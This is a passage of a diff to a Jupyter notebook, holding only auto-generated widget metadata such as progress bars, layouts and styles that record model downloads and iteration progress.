3.85it/s]" + } + }, + "c13cbe7f79d64c9a9ae4fb90a5cbef9a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c1ee4f8f667743ed94a939a9fe749e39": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_25c92f3c188e4009ba806c6d56cc66c4", + "placeholder": "​", + "style": "IPY_MODEL_1da8ad0bdb2547cdb4edc5bc5df7a8ea", + "value": " 10/10 [00:02<00:00, 3.90it/s]" + } + }, + "c25bc0fc44214d9f8a5f4abba43eaf09": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f40c98061f2946b1885193ee817c52a3", + "placeholder": "​", + "style": "IPY_MODEL_9a91880b909e4b05bf668c410f978ca2", + "value": " 100/100 [00:27<00:00, 3.84it/s]" + } + }, + "c2b0ede066bf405593c66384d9548613": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e11583de8d894d3da80ef3bb1fe52e08", + "placeholder": "​", + "style": "IPY_MODEL_48e9b5493b8f4191b9707df7c83b0f50", + "value": "100%" + } + }, + "c2c64d6095704db88ec2210ae3cbfb35": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_94b45bc6f5e24cf3aa16f431bc7ed58a", + "IPY_MODEL_3f197b982242418bb24f4156db991c19", + "IPY_MODEL_a9d50ec01c8045af902bf580e92ab30c" + ], + "layout": "IPY_MODEL_ddebad755dce4da8887eb7f3d4dd49ba" + } + }, + "c30a4ba5e89d42bfbd3ad524b9ed1303": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_51a8aa7fde0c449392867b95a7aa6c16", + "placeholder": "​", + "style": "IPY_MODEL_d39253a104af48aab68a5590b0159487", + "value": "100%" + } + }, + "c327ed98ce284b84ae4cc89d9797b15f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_14aad595b905426b8d7fc4390bd755d8", + "IPY_MODEL_d876c82248f1418e83462dcc38f96469", + "IPY_MODEL_0f79fff269c349648fb6e15bf127a7c8" + ], + "layout": "IPY_MODEL_768863d6e7e747709c4413764e7e7093" + } + }, + "c3514684a02e496a875cb8fa0e86b449": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0ace66c377a14034a594774ec024e074", + "IPY_MODEL_865a15f101944359bbf30226e4cc1c90", + "IPY_MODEL_5caac903dab34c119294cd4bfb65725c" + ], + "layout": "IPY_MODEL_cf013b91c09f493b94c050f224449336" + } + }, + "c3a851883eba4e11b70c705a5fae3ee2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6f03e27712e84cc49ad1a665c7537f12", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_f3d1f71549674156b493e3771784ec68", + "value": 20 + } + }, + "c4783205744246c99a52bb6bb8df3d7d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c4d2925dd1dd40bab2b22f09bf9497e6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8ce35b01fc9a4b6fbdd650491a58f188", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_18885db0114b49ee8eeb0af098b9a8c9", + "value": 20 + } + }, + "c4f63d6416174604a065f2dc2b8775a7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "c59286b70fe74bbea779bbfae03e1a87": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_80e6d8758fe646e2a43d45e31d157b26", + "max": 492265879, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_fd5335a0dce5483bba6b91db1e32346e", + "value": 492265879 + } + }, + "c5ffdd678bd444d6b66bc7525947b716": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "c61940c9c4174fa8b515bbda3b612146": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_65947bf28d8c47059e1dae1f1d2f97b2", + "max": 334643276, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_93b5852ebf584c3e95ca3275b2c9b698", + "value": 334643276 + } + }, + "c65c5e6845254d47b6b0370b306b9eef": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c772f5d3ffca49a2a4c0d16a4469105c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "c85450a2f1334f9aa43211929b1714e1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_1707f4e4e7a64dbb8a38f7042836bfb2", + "IPY_MODEL_3b9b27b4550c453f82f000c03d1209a7", + "IPY_MODEL_811695ab3aef4a368d2949af43b5f589" + ], + "layout": "IPY_MODEL_dfcd450b24d244ab86ccfc1b602a1d7e" + } + }, + "c964733e23d749a0bd2069fc80b5fce7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c30a4ba5e89d42bfbd3ad524b9ed1303", + "IPY_MODEL_d9486e79630742c89fa5f6a104580064", + "IPY_MODEL_2c0421659acb482295485521efb6bb03" + ], + "layout": "IPY_MODEL_1431d8d8d9b04038b4e774fd743b78cd" + } + }, + "c9dd35af3a2449f7b2b7be3915b01a70": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_282151a48c29477cb45f8d46beb22f5e", + "max": 553, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_1895d19dcd574f56b7148ca7235fd0b4", + "value": 553 + } + }, + "cc1d355b4f6440fab9de50ccc5a268b8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_4e3739037f2b44d2bd1ecaa20b29d70c", + "placeholder": "​", + "style": "IPY_MODEL_79b4c9681b0d496ab86f77b6b4902ad6", + "value": "100%" + } + }, + "cce1c917ad4a4b2c93369e249cd1c13c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ce20d1f9a55a42518c521eb5a1c8b414": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "cf013b91c09f493b94c050f224449336": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d11ce4de43984beab4937652c55419cb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d138d9f2076c493da68ff7edb0bc36c7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f6239b69aa6e4ece90cdb6fabf707c57", + "placeholder": "​", + "style": "IPY_MODEL_881d8ed91e394981b6320122489fe8bc", + "value": " 492M/492M [00:07<00:00, 60.6MB/s]" + } + }, + "d1d635fff656454e9b0cdba740067c07": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d220c9f6c0684da98525ddfb0ccdf8f5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d3415f46386c49ce9593585d421657fa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d39253a104af48aab68a5590b0159487": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d3e78f87ec5c4c3e9e1efafefadea3bd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d5228dfbe50b4d078996b74d1b71ba28": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6b04b7bfcca645368b1287a3467bc3a1", + "placeholder": "​", + "style": "IPY_MODEL_4e8ec740f2ba45d1817c46b449e34423", + "value": " 20/20 [00:05<00:00, 3.72it/s]" + } + }, + "d5a6cb28917b48d4910903e016319aec": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ecc2c348430c471791a449784f5df44c", + "placeholder": "​", + "style": "IPY_MODEL_dd94c326988a41cd8b57f4dd9a26f499", + "value": " 10/10 [00:02<00:00, 3.89it/s]" + } + }, + "d6b66675891141aba38d8e8bd130c47c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d7199c08026f4da58da262e192602fc4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_86c728930faa41bcad11875ca74af210", + "placeholder": "​", + "style": "IPY_MODEL_1fcc4a24bf9b4ec6aec98800a872966f", + "value": " 518/518 [00:00<00:00, 7.22kB/s]" + } + }, + "d7335eeea61f49a291bbc9f120c823e7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_21e6f865412f4787b04b69da0cafa300", + "max": 1059962, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_d6b66675891141aba38d8e8bd130c47c", + "value": 1059962 + } + }, + "d79c2804b05248d8989a1462716a3478": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d876c82248f1418e83462dcc38f96469": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f6787f179f0c4dc6b420085606784de9", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_ab713f31f1d34894b4826a67de80daf3", + "value": 13 + } + }, + "d9069541f2f246b99881a937f384c7ab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d9486e79630742c89fa5f6a104580064": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_acccd96a575d4a679112ff80c935f1c9", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_9038138255b442b7b17885ab7f31aed1", + "value": 10 + } + }, + "dafd2b93bc6245a88e6631f306fc1e9b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f38555fda53a4edf92271a97db3f7dd5", + "placeholder": "​", + "style": 